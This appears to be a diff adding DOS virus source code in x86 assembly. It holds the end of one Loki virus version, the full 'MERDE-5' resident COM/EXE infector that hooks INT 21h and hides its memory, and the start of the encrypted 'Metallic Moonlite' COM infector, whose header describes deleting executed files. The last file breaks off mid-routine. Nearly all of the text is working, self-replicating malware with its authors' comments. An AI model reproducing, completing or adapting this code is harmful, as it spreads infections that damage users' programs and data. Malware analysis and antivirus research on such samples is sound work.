|
||||||
|
cmp ax,1024
|
||||||
|
jnb contin2
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
contin2:
|
||||||
|
sub ax,compare_val
|
||||||
|
mov dx,ax
|
||||||
|
xor cx,cx
|
||||||
|
mov ah,42h
|
||||||
|
xor al,al
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov ah,3fh
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,offset buffer
|
||||||
|
mov cx,2
|
||||||
|
call dos_21
|
||||||
|
mov ax,word ptr cs:[buffer]
|
||||||
|
mov bx,word ptr cs:[offset ending-compare_val]
|
||||||
|
cmp ax,bx
|
||||||
|
jne infect_it
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
infect_it:
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov ax,4200h
|
||||||
|
call dos_21
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,5
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,offset five_bytes
|
||||||
|
call dos_21
|
||||||
|
mov ax,4202h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
call dos_21
|
||||||
|
mov ax,cs:[file_size]
|
||||||
|
add ax,100h
|
||||||
|
mov word ptr cs:[jumper+1],ax
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,offset ending-100h
|
||||||
|
mov dx,0100h
|
||||||
|
call dos_21
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov ax,4200h
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov dx,offset jumper
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,5
|
||||||
|
call dos_21
|
||||||
|
call reset_all
|
||||||
|
give_up:
|
||||||
|
mov ah,50h
|
||||||
|
mov bx,cs:[high_file]
|
||||||
|
call dos_21
|
||||||
|
give_up1:
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
pop bp
|
||||||
|
pop si
|
||||||
|
pop di
|
||||||
|
pop es
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
jmp continue_21
|
||||||
|
continue_21:
|
||||||
|
jmp dword ptr cs:[int_21_saveo]
|
||||||
|
dos_21:
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[int_21_saveo]
|
||||||
|
ret
|
||||||
|
|
||||||
|
reset_all:
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov cx,cs:[time]
|
||||||
|
mov dx,cs:[date]
|
||||||
|
mov ax,5701h
|
||||||
|
call dos_21
|
||||||
|
mov ah,3eh
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov ah,43h
|
||||||
|
mov al,1
|
||||||
|
mov cx,cs:[attrib]
|
||||||
|
mov ds,cs:[high_file]
|
||||||
|
mov dx,cs:[low_file]
|
||||||
|
call dos_21
|
||||||
|
ret
|
||||||
|
my_71:
|
||||||
|
mov ax,9999h
|
||||||
|
iret
|
||||||
|
dw 44 dup(00)
|
||||||
|
my_stack:
|
||||||
|
jumper: mov bx,0000
|
||||||
|
jmp bx
|
||||||
|
file_size dw 0000
|
||||||
|
high_file dw 0000
|
||||||
|
low_file dw 0000
|
||||||
|
handle dw 0000
|
||||||
|
attrib dw 0000
|
||||||
|
date dw 0000
|
||||||
|
time dw 0000
|
||||||
|
int_21_saveo dw 0000
|
||||||
|
int_21_saves dw 0000
|
||||||
|
orig_stackp dw 0000
|
||||||
|
my_stack_save dw 0000
|
||||||
|
high_ram dw 0000
|
||||||
|
low_ram dw 0000
|
||||||
|
my_segment dw 0000
|
||||||
|
buffer: db 10 dup(00)
|
||||||
|
five_bytes: db 0cdh,20h,90h,90h,90h
|
||||||
|
my_little_message_to_the_world:
|
||||||
|
|
||||||
|
db 'Scan me, I LIKE IT!!!!-Loki-nator!'
|
||||||
|
ending:
|
||||||
|
Code_seg ENDS
|
||||||
|
END start
|
||||||
@@ -0,0 +1,613 @@
|
|||||||
|
; Okay, here is my newest version.. It now
|
||||||
|
; offers EXE infection. I messed up command.com
|
||||||
|
; compatibility so this version won't infect it.
|
||||||
|
; Also, this version might be a little shakey,
|
||||||
|
; but it should work okay with most setups
|
||||||
|
; (I'm not professional yet, so screw 'em
|
||||||
|
; if this hangs!)..
|
||||||
|
; This will be the last time I release code for
|
||||||
|
; my virii. Thanks to firststrike, and anyone else
|
||||||
|
; who has given me tips.....
|
||||||
|
; Be careful not to get this, it is kinda hard to get rid
|
||||||
|
; of (it would be REALLY hard to get rid of if it infected
|
||||||
|
;command.com- I will have to fix that (along with the TERRIBLE
|
||||||
|
; inefficiency in my interrupt handler (the loader is OKAY, but
|
||||||
|
; My_21 is just kind of a jumble of code thrown together for now.
|
||||||
|
; If you want to vaccinate your system, and you know a little about
|
||||||
|
; assembler, it isn't that hard. (I gave the come version to
|
||||||
|
; myself about 3 times). Just take notice of my use of interrupt
|
||||||
|
; 71...(This will be changed in future versions, for obvious reasons).
|
||||||
|
; MERDE-5 The merde virus version 5.0- loki
|
||||||
|
|
||||||
|
|
||||||
|
compare_val equ 850
|
||||||
|
interrupt equ 21h
|
||||||
|
Code_seg Segment Byte
|
||||||
|
Assume DS:Code_seg, CS:Code_seg
|
||||||
|
ORG 100h
|
||||||
|
|
||||||
|
start: call get_ip
|
||||||
|
|
||||||
|
exe_or_com:
|
||||||
|
dw 'CO'
|
||||||
|
get_ip:
|
||||||
|
pop di
|
||||||
|
sub di,3
|
||||||
|
cmp word ptr cs:[di+3],'EX'
|
||||||
|
jne com_memory_loader
|
||||||
|
jmp exe_memory_loader
|
||||||
|
|
||||||
|
;Load memory from within an EXE file..
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
exe_memory_loader:
|
||||||
|
call check_for_int_71
|
||||||
|
jc go
|
||||||
|
call get_memory ;es=my_segment
|
||||||
|
jnc aaaa
|
||||||
|
jmp exit_exe
|
||||||
|
aaaa:
|
||||||
|
call hide_memory
|
||||||
|
call set_int_71
|
||||||
|
call save_21
|
||||||
|
push ds
|
||||||
|
call move_all_code
|
||||||
|
pop ds
|
||||||
|
mov bx,es
|
||||||
|
call set_21
|
||||||
|
go: jmp exit_exe
|
||||||
|
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;******************************************************************************
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;load memory from a COM file...
|
||||||
|
|
||||||
|
com_memory_loader:
|
||||||
|
call restore_com
|
||||||
|
call check_for_int_71
|
||||||
|
jc go_1
|
||||||
|
call get_memory
|
||||||
|
jnc bbbb
|
||||||
|
jmp exit_com
|
||||||
|
|
||||||
|
bbbb: call hide_memory
|
||||||
|
|
||||||
|
reset_di:
|
||||||
|
call set_int_71
|
||||||
|
call save_21
|
||||||
|
call move_all_code
|
||||||
|
mov bx,es
|
||||||
|
call set_21
|
||||||
|
go_1: jmp exit_com
|
||||||
|
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;Returns ES with my segment (or an error)
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
get_memory:
|
||||||
|
int 12h
|
||||||
|
mov bx,cs
|
||||||
|
mov cx,1024
|
||||||
|
mul cx
|
||||||
|
clc
|
||||||
|
mov cx,600h ;Amount of needed memory
|
||||||
|
sub ax,cx
|
||||||
|
sbb dx,0000 ;dx:ax=where we want this mem to end!
|
||||||
|
mov bx,dx
|
||||||
|
mov bp,ax ;save this...
|
||||||
|
mov cx,cs
|
||||||
|
mov ax,0010h
|
||||||
|
mul cx
|
||||||
|
clc
|
||||||
|
mov cx,di
|
||||||
|
add cx,offset ending-100h
|
||||||
|
add ax,cx
|
||||||
|
adc dx,0000
|
||||||
|
clc
|
||||||
|
sub bp,ax
|
||||||
|
sbb bx,dx
|
||||||
|
clc
|
||||||
|
mov ax,bp
|
||||||
|
mov dx,bx
|
||||||
|
mov cx,0010h
|
||||||
|
div cx ;dx:ax=memory above this-divide it by 16
|
||||||
|
mov bx,ax
|
||||||
|
mov ah,4ah
|
||||||
|
int 21h
|
||||||
|
jc get_memory_error
|
||||||
|
mov bx,60
|
||||||
|
mov ah,48h
|
||||||
|
int 21h
|
||||||
|
jc get_memory_error
|
||||||
|
mov es,ax
|
||||||
|
clc
|
||||||
|
ret
|
||||||
|
get_memory_error:
|
||||||
|
stc
|
||||||
|
ret
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;Moves all code + PSP to my secretive little segment-destroys DS (in EXE files)
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
move_all_code:
|
||||||
|
;move PSP**************************
|
||||||
|
push di
|
||||||
|
xor si,si
|
||||||
|
xor di,di
|
||||||
|
mov cx,100h
|
||||||
|
rep movsb
|
||||||
|
;**********************************
|
||||||
|
;move my code**********************
|
||||||
|
pop si
|
||||||
|
push si
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov cx,offset ending-100h
|
||||||
|
rep movsb
|
||||||
|
pop di
|
||||||
|
ret
|
||||||
|
;**********************************
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;saves interrupt 21 in cs:[int_21_saveo]
|
||||||
|
save_21:
|
||||||
|
push es
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov ax,es:[interrupt*4]
|
||||||
|
mov bx,es:[interrupt*4+2]
|
||||||
|
mov cs:[di+offset int_21_saveo-100h],ax
|
||||||
|
mov cs:[di+offset int_21_saves-100h],bx
|
||||||
|
pop es
|
||||||
|
ret
|
||||||
|
|
||||||
|
;-----------------------------------------------------------------------------
|
||||||
|
;sets interrupt 21 to bx:offset of my_21
|
||||||
|
set_21:
|
||||||
|
push es
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
mov es:[interrupt*4],offset my_21
|
||||||
|
mov es:[interrupt*4+2],bx
|
||||||
|
pop es
|
||||||
|
ret
|
||||||
|
;-----------------------------------------------------------------------------
|
||||||
|
;-----------------------------------------------------------------------------
|
||||||
|
;Restores a COM file
|
||||||
|
restore_com:
|
||||||
|
push di
|
||||||
|
mov si,di
|
||||||
|
add si,offset three_bytes-100h
|
||||||
|
mov di,0100h
|
||||||
|
mov cx,3
|
||||||
|
rep movsb
|
||||||
|
pop di
|
||||||
|
ret
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
;Hides my segment's (es) size and owner
|
||||||
|
hide_memory:
|
||||||
|
push ds
|
||||||
|
xor cx,cx
|
||||||
|
mov ds,cx
|
||||||
|
mov cx,ds:[2eh*4+2]
|
||||||
|
pop ds
|
||||||
|
push ds
|
||||||
|
mov dx,es
|
||||||
|
dec dx
|
||||||
|
mov ds,dx
|
||||||
|
mov ds:[1],cx ;maybe later set to DOS seg
|
||||||
|
mov byte ptr ds:[0],'Z'
|
||||||
|
mov word ptr ds:[3],0000
|
||||||
|
mov es:[16h],cx
|
||||||
|
mov es:[0ah],cx
|
||||||
|
mov es:[0ch],cx
|
||||||
|
pop ds
|
||||||
|
ret
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
;check_for_int 71- My little multiplex interrupt
|
||||||
|
check_for_int_71:
|
||||||
|
int 71h
|
||||||
|
cmp ax,9999h
|
||||||
|
je set_c
|
||||||
|
clc
|
||||||
|
ret
|
||||||
|
set_c:
|
||||||
|
stc
|
||||||
|
ret
|
||||||
|
;------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
;Set interrupt 71:
|
||||||
|
set_int_71:
|
||||||
|
push ds
|
||||||
|
xor ax,ax
|
||||||
|
mov ds,ax
|
||||||
|
mov ds:[71h*4+2],es
|
||||||
|
mov ds:[71h*4],offset my_71
|
||||||
|
pop ds
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
exit_com:
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
xor ax,ax
|
||||||
|
xor bx,bx
|
||||||
|
xor si,si
|
||||||
|
xor di,di
|
||||||
|
mov ax,100h
|
||||||
|
jmp ax
|
||||||
|
|
||||||
|
exit_exe:
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov ax,es
|
||||||
|
add ax,10h
|
||||||
|
add word ptr cs:[di+offset orig_cs-100h],ax
|
||||||
|
cli
|
||||||
|
add ax,word ptr cs:[di+offset orig_ss-100h]
|
||||||
|
mov ss,ax
|
||||||
|
mov sp,word ptr cs:[di+offset orig_sp-100h]
|
||||||
|
sti
|
||||||
|
jmp dword ptr cs:[di+offset orig_ip-100h]
|
||||||
|
|
||||||
|
;------------------------------------------------------------------
|
||||||
|
my_21:
|
||||||
|
cmp ah,4bh
|
||||||
|
je okay_go
|
||||||
|
cmp ah,0fh
|
||||||
|
je okay_go
|
||||||
|
cmp ah,3dh
|
||||||
|
je okay_go
|
||||||
|
cmp ah,43h
|
||||||
|
je okay_go
|
||||||
|
jmp continue_21
|
||||||
|
okay_go:
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push es
|
||||||
|
push di
|
||||||
|
push si
|
||||||
|
push bp
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
check_for_com:
|
||||||
|
xor si,si
|
||||||
|
mov bx,dx
|
||||||
|
looper:
|
||||||
|
cmp word ptr ds:[bx+si],'c.'
|
||||||
|
je check_om
|
||||||
|
cmp word ptr ds:[bx+si],'C.'
|
||||||
|
je check_om
|
||||||
|
cmp word ptr ds:[bx+si],'e.'
|
||||||
|
je check_ex
|
||||||
|
cmp word ptr ds:[bx+si],'E.'
|
||||||
|
je check_ex
|
||||||
|
inc si
|
||||||
|
cmp si,40
|
||||||
|
jne looper
|
||||||
|
jmp give_up1
|
||||||
|
check_om:
|
||||||
|
cmp word ptr ds:[bx+si+2],'mo'
|
||||||
|
jne bb
|
||||||
|
mov cs:[com_or_exe],0
|
||||||
|
jmp check_for_infection
|
||||||
|
bb: cmp word ptr ds:[bx+si+2],'MO'
|
||||||
|
jne cc
|
||||||
|
mov cs:[com_or_exe],0
|
||||||
|
jmp check_for_infection
|
||||||
|
cc: jmp give_up1
|
||||||
|
check_ex:
|
||||||
|
cmp word ptr ds:[bx+si+2],'ex'
|
||||||
|
jne label1
|
||||||
|
mov cs:[com_or_exe],1234h
|
||||||
|
jmp okay_do
|
||||||
|
label1:
|
||||||
|
cmp word ptr ds:[bx+si+2],'EX' ;FIX ME!!!!!!!
|
||||||
|
je cccc ;forget exe for now..
|
||||||
|
jmp give_up1
|
||||||
|
cccc:
|
||||||
|
mov cs:[com_or_exe],1234h
|
||||||
|
jmp okay_do
|
||||||
|
check_for_infection:
|
||||||
|
cmp word ptr [bx+si-2],'DN'
|
||||||
|
jne okey_k
|
||||||
|
jmp give_up1
|
||||||
|
okey_k:
|
||||||
|
cmp word ptr [bx+si-2],'DN'
|
||||||
|
jne okay_do
|
||||||
|
jmp give_up1
|
||||||
|
okay_do:
|
||||||
|
mov cs:[storage_1],ds
|
||||||
|
mov cs:[storage_2],dx
|
||||||
|
mov ah,50h ;set PSP to ours
|
||||||
|
push cs
|
||||||
|
pop bx
|
||||||
|
call dos_21
|
||||||
|
mov ah,43h
|
||||||
|
xor al,al
|
||||||
|
call dos_21
|
||||||
|
jnc okay9
|
||||||
|
jmp give_up
|
||||||
|
okay9: mov cs:[attrib],cx
|
||||||
|
mov ah,43h
|
||||||
|
mov al,1
|
||||||
|
xor cx,cx
|
||||||
|
call dos_21
|
||||||
|
mov ah,3dh
|
||||||
|
mov al,2
|
||||||
|
call dos_21
|
||||||
|
jnc okay10
|
||||||
|
jmp give_up
|
||||||
|
okay10: mov cs:[handle],ax
|
||||||
|
mov bx,ax
|
||||||
|
mov ah,57h
|
||||||
|
xor al,al
|
||||||
|
call dos_21
|
||||||
|
mov cs:[date],dx
|
||||||
|
mov cs:[time],cx
|
||||||
|
mov ax,4202h
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
call dos_21
|
||||||
|
jnc okay11
|
||||||
|
jmp give_up
|
||||||
|
okay11: mov cs:[file_size],ax
|
||||||
|
cmp cs:[com_or_exe],1234h
|
||||||
|
jne okey_p
|
||||||
|
sub ax,compare_val
|
||||||
|
sbb dx,0000
|
||||||
|
mov cx,dx
|
||||||
|
mov dx,ax
|
||||||
|
jmp contin2
|
||||||
|
okey_p: xor cx,cx
|
||||||
|
cmp ax,63000
|
||||||
|
jb contin1
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
contin1:
|
||||||
|
cmp ax,600
|
||||||
|
jnb continx
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
continx:
|
||||||
|
sub ax,compare_val
|
||||||
|
mov dx,ax
|
||||||
|
xor cx,cx
|
||||||
|
contin2:
|
||||||
|
mov ax,4200h
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov ah,3fh
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,offset buffer
|
||||||
|
mov cx,2
|
||||||
|
call dos_21
|
||||||
|
mov ax,word ptr cs:[buffer]
|
||||||
|
mov bx,word ptr cs:[offset dont_write-compare_val]
|
||||||
|
cmp ax,bx
|
||||||
|
jne dddd
|
||||||
|
jmp give_up
|
||||||
|
dddd:
|
||||||
|
cmp cs:[com_or_exe],1234h
|
||||||
|
je infect_exe
|
||||||
|
jmp infect_com
|
||||||
|
|
||||||
|
infect_exe:
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
mov ax,4200h
|
||||||
|
call dos_21
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,18h
|
||||||
|
mov dx,offset header
|
||||||
|
call dos_21
|
||||||
|
cmp word ptr [header+8],1000h
|
||||||
|
jb okayh
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
okayh: mov ax,word ptr [header+16h]
|
||||||
|
mov orig_cs,ax
|
||||||
|
mov ax,word ptr [header+14h]
|
||||||
|
mov orig_ip,ax
|
||||||
|
mov ax,word ptr [header+0eh]
|
||||||
|
mov orig_ss,ax
|
||||||
|
mov ax,word ptr [header+10h]
|
||||||
|
mov orig_sp,ax
|
||||||
|
mov ax,4202h
|
||||||
|
mov bx,handle
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
call dos_21
|
||||||
|
mov word ptr ds:[exe_or_com],'EX'
|
||||||
|
mov high_size,dx
|
||||||
|
mov low_size,ax
|
||||||
|
mov real_hsize,dx
|
||||||
|
mov real_lsize,ax
|
||||||
|
mov ax,word ptr [header+8]
|
||||||
|
mov cx,10h
|
||||||
|
mul cx
|
||||||
|
clc
|
||||||
|
sub low_size,ax ;high_size:low_size=load size
|
||||||
|
sbb high_size,dx
|
||||||
|
clc
|
||||||
|
mov dx,high_size
|
||||||
|
mov ax,low_size
|
||||||
|
mov cx,0010h
|
||||||
|
div cx
|
||||||
|
cmp dx,0
|
||||||
|
je okay
|
||||||
|
mov cx,16
|
||||||
|
sub cx,dx
|
||||||
|
mov bp,cx
|
||||||
|
add real_lsize,bp
|
||||||
|
adc real_hsize,0000
|
||||||
|
clc
|
||||||
|
stc
|
||||||
|
adc ax,0000
|
||||||
|
jmp okay1
|
||||||
|
okay: xor bp,bp
|
||||||
|
okay1: xor dx,dx
|
||||||
|
mov word ptr [header+16h],ax
|
||||||
|
;add to dx?
|
||||||
|
mov word ptr [header+14h],dx
|
||||||
|
mov word ptr [header+0eh],ax
|
||||||
|
mov dx,0fffeh
|
||||||
|
mov word ptr [header+10h],dx
|
||||||
|
mov dx,real_hsize
|
||||||
|
mov ax,real_lsize
|
||||||
|
add ax,offset ending-100h+1
|
||||||
|
adc dx,0000
|
||||||
|
push ax
|
||||||
|
mov cl,9
|
||||||
|
shr ax,cl
|
||||||
|
ror dx,cl
|
||||||
|
stc
|
||||||
|
adc dx,ax
|
||||||
|
pop ax
|
||||||
|
and ah,1
|
||||||
|
mov word ptr [header+4],dx
|
||||||
|
mov word ptr [header+2],ax
|
||||||
|
mov ah,40h
|
||||||
|
mov bx,handle
|
||||||
|
mov cx,offset dont_write-100h
|
||||||
|
add cx,bp
|
||||||
|
mov dx,100h
|
||||||
|
sub dx,bp
|
||||||
|
call dos_21
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov bx,handle
|
||||||
|
call dos_21
|
||||||
|
mov ah,40h
|
||||||
|
mov bx,handle
|
||||||
|
mov cx,18h
|
||||||
|
mov dx,offset header
|
||||||
|
call dos_21
|
||||||
|
call reset_all
|
||||||
|
jmp give_up
|
||||||
|
|
||||||
|
infect_com:
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov ax,4200h
|
||||||
|
call dos_21
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,3
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,offset three_bytes
|
||||||
|
call dos_21
|
||||||
|
mov ax,cs:[file_size]
|
||||||
|
sub ax,3
|
||||||
|
mov word ptr cs:[jumper+1],ax
|
||||||
|
mov word ptr cs:[exe_or_com],'CO'
|
||||||
|
call write_to_end
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov ax,4200h
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov dx,offset jumper
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,3
|
||||||
|
call dos_21
|
||||||
|
call reset_all
|
||||||
|
give_up:
|
||||||
|
mov ah,50h
|
||||||
|
mov bx,cs:[storage_1]
|
||||||
|
call dos_21
|
||||||
|
give_up1:
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
pop bp
|
||||||
|
pop si
|
||||||
|
pop di
|
||||||
|
pop es
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
jmp continue_21
|
||||||
|
continue_21:
|
||||||
|
jmp dword ptr cs:[int_21_saveo]
|
||||||
|
dos_21:
|
||||||
|
pushf
|
||||||
|
call dword ptr cs:[int_21_saveo]
|
||||||
|
ret
|
||||||
|
|
||||||
|
reset_all:
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
mov cx,cs:[time]
|
||||||
|
mov dx,cs:[date]
|
||||||
|
mov ax,5701h
|
||||||
|
call dos_21
|
||||||
|
mov ah,3eh
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov ah,43h
|
||||||
|
mov al,1
|
||||||
|
mov cx,cs:[attrib]
|
||||||
|
mov ds,cs:[storage_1]
|
||||||
|
mov dx,cs:[storage_2]
|
||||||
|
call dos_21
|
||||||
|
ret
|
||||||
|
|
||||||
|
write_to_end:
|
||||||
|
|
||||||
|
mov ax,4202h
|
||||||
|
xor dx,dx
|
||||||
|
xor cx,cx
|
||||||
|
mov bx,cs:[handle]
|
||||||
|
call dos_21
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,offset dont_write-100h
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,0100h
|
||||||
|
call dos_21
|
||||||
|
ret
|
||||||
|
my_71:
|
||||||
|
mov ax,9999h
|
||||||
|
iret
|
||||||
|
|
||||||
|
|
||||||
|
jumper:
|
||||||
|
db 0e9h,00,00
|
||||||
|
storage_1 dw 0000
|
||||||
|
storage_2 dw 0000
|
||||||
|
int_21_saveo dw 0000
|
||||||
|
int_21_saves dw 0000
|
||||||
|
three_bytes: db 0cdh,20h,90h
|
||||||
|
db 'Loki'
|
||||||
|
orig_ip dw 0000
|
||||||
|
orig_cs dw 0000
|
||||||
|
orig_ss dw 0000
|
||||||
|
orig_sp dw 0000
|
||||||
|
dont_write:
|
||||||
|
|
||||||
|
header:
|
||||||
|
db 24 dup(00)
|
||||||
|
com_or_exe dw 1234h
|
||||||
|
handle dw 0000
|
||||||
|
file_size dw 0000
|
||||||
|
attrib dw 0000
|
||||||
|
date dw 0000
|
||||||
|
time dw 0000
|
||||||
|
buffer: dw 0000
|
||||||
|
loader_high dw 0000
|
||||||
|
loader_low dw 0000
|
||||||
|
header_cs dw 0000
|
||||||
|
header_ip dw 0000
|
||||||
|
low_size dw 0000
|
||||||
|
high_size dw 0000
|
||||||
|
real_hsize dw 0000
|
||||||
|
real_lsize dw 0000
|
||||||
|
ending:
|
||||||
|
Code_seg ENDS
|
||||||
|
END start
|
||||||
@@ -0,0 +1,244 @@
|
|||||||
|
; Virusname : Metallic Moonlite
|
||||||
|
; Virusauthor: Metal Militia
|
||||||
|
; Virusgroup : Immortal Riot
|
||||||
|
; Origin : Sweden
|
||||||
|
;
|
||||||
|
; It's a non-resident, current dir infector of com-files. every first
|
||||||
|
; of any month it will put a bit of code resident to make ctrl-alt-del's
|
||||||
|
; to coldboots and delete all files being executed. It's encrypted with
|
||||||
|
; an XOR-loop. If it's not the first it will simple make a screen-clear.
|
||||||
|
; Um!.. well, enjoy Insane Reality issue #4!
|
||||||
|
;
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
; METALLIC MOONLITE
|
||||||
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
|
||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
cseg segment
|
||||||
|
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
|
||||||
|
org 100h
|
||||||
|
begin:
|
||||||
|
dummy_host db 0e9h,00h,00h ; the jmp code
|
||||||
|
virus_start:
|
||||||
|
mov bp,0000h ; the delta offset
|
||||||
|
|
||||||
|
call encrypt_decrypt ; call to unencrypt
|
||||||
|
jmp restore_old_bytes ; restore old first bytes
|
||||||
|
|
||||||
|
write_virus:
|
||||||
|
call encrypt_decrypt ; call encryption routine
|
||||||
|
|
||||||
|
lea dx,[bp+virus_start] ; from 100h (start)
|
||||||
|
mov cx,heap-virus_start ; viruslength
|
||||||
|
mov ah,40h ; write it
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call encrypt_decrypt ; once again, encryption routine
|
||||||
|
; being called
|
||||||
|
ret ; ret(urn) to "caller"
|
||||||
|
|
||||||
|
enc_val dw 0 ; encryption value storage
|
||||||
|
|
||||||
|
encrypt_decrypt:
|
||||||
|
mov dx,word ptr [bp+enc_val] ; the encryption routine
|
||||||
|
lea si,[bp+restore_old_bytes]
|
||||||
|
mov cx,(heap_end-virus_start+1)/2
|
||||||
|
again:
|
||||||
|
xor word ptr [si],dx ; a simple XOR thang
|
||||||
|
inc si ; but gaak!, so effective
|
||||||
|
inc si
|
||||||
|
loop again
|
||||||
|
ret
|
||||||
|
|
||||||
|
restore_old_bytes:
|
||||||
|
mov di,0100h
|
||||||
|
lea si,[bp+old_bytes] ; restore old first bytes
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
|
||||||
|
lea dx,[bp+new_dta] ; DTA's place
|
||||||
|
mov ah,1Ah ; set it
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
lea dx,[bp+com_mask] ; file(s) to find
|
||||||
|
mov cx,0002h ; hidden/normal attributes
|
||||||
|
mov ah,4eh ; find first file
|
||||||
|
find_next:
|
||||||
|
int 21h
|
||||||
|
jnc check_file ; found one? if so, check it
|
||||||
|
jmp bye_bye ; no uninfected files found,
|
||||||
|
; outa here
|
||||||
|
check_file:
|
||||||
|
mov ax,word ptr [bp+file_time] ; get time of file
|
||||||
|
and al,00011111b ; mask seconds field
|
||||||
|
cmp al,00010101b ; check for previous infection
|
||||||
|
je try_again ; is it infected? so, try another
|
||||||
|
jmp replicate ; not infected yet, kick it
|
||||||
|
|
||||||
|
try_again:
|
||||||
|
mov ah,4fh ; find next file
|
||||||
|
jmp short find_next ; so, do that
|
||||||
|
|
||||||
|
replicate:
|
||||||
|
lea dx,[bp+file_name]
|
||||||
|
sub cx,cx
|
||||||
|
mov ax,4301h ; set attributes
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
lea dx,[bp+file_name] ; open file
|
||||||
|
mov ax,3d02h ; read/write access
|
||||||
|
int 21h
|
||||||
|
xchg ax,bx ; mov bx,ax
|
||||||
|
|
||||||
|
mov ah,3fh ; read bytes
|
||||||
|
mov cx,03h ; 3 of them
|
||||||
|
lea dx,[bp+old_bytes] ; save them in the buffer (old_bytes)
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cwd
|
||||||
|
sub cx,cx
|
||||||
|
mov ax,4202h ; move file pointer to EOF
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
sub ax,03h ; 3 bytes
|
||||||
|
mov word ptr [bp+virus_start+1],ax ; from start
|
||||||
|
mov word ptr [bp+new_bytes+1],ax ; our jmp code
|
||||||
|
|
||||||
|
mov ah,2ch ; get time
|
||||||
|
int 21h
|
||||||
|
mov word ptr [bp+enc_val],dx ; put as encryption value
|
||||||
|
call write_virus ; write our code (*.*)
|
||||||
|
|
||||||
|
cwd
|
||||||
|
sub cx,cx
|
||||||
|
mov ax,4200h ; move file pointer to SOF
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
lea dx,[bp+new_bytes] ; write our jmp code at beginning
|
||||||
|
mov cx,03h ; 3 bytes long
|
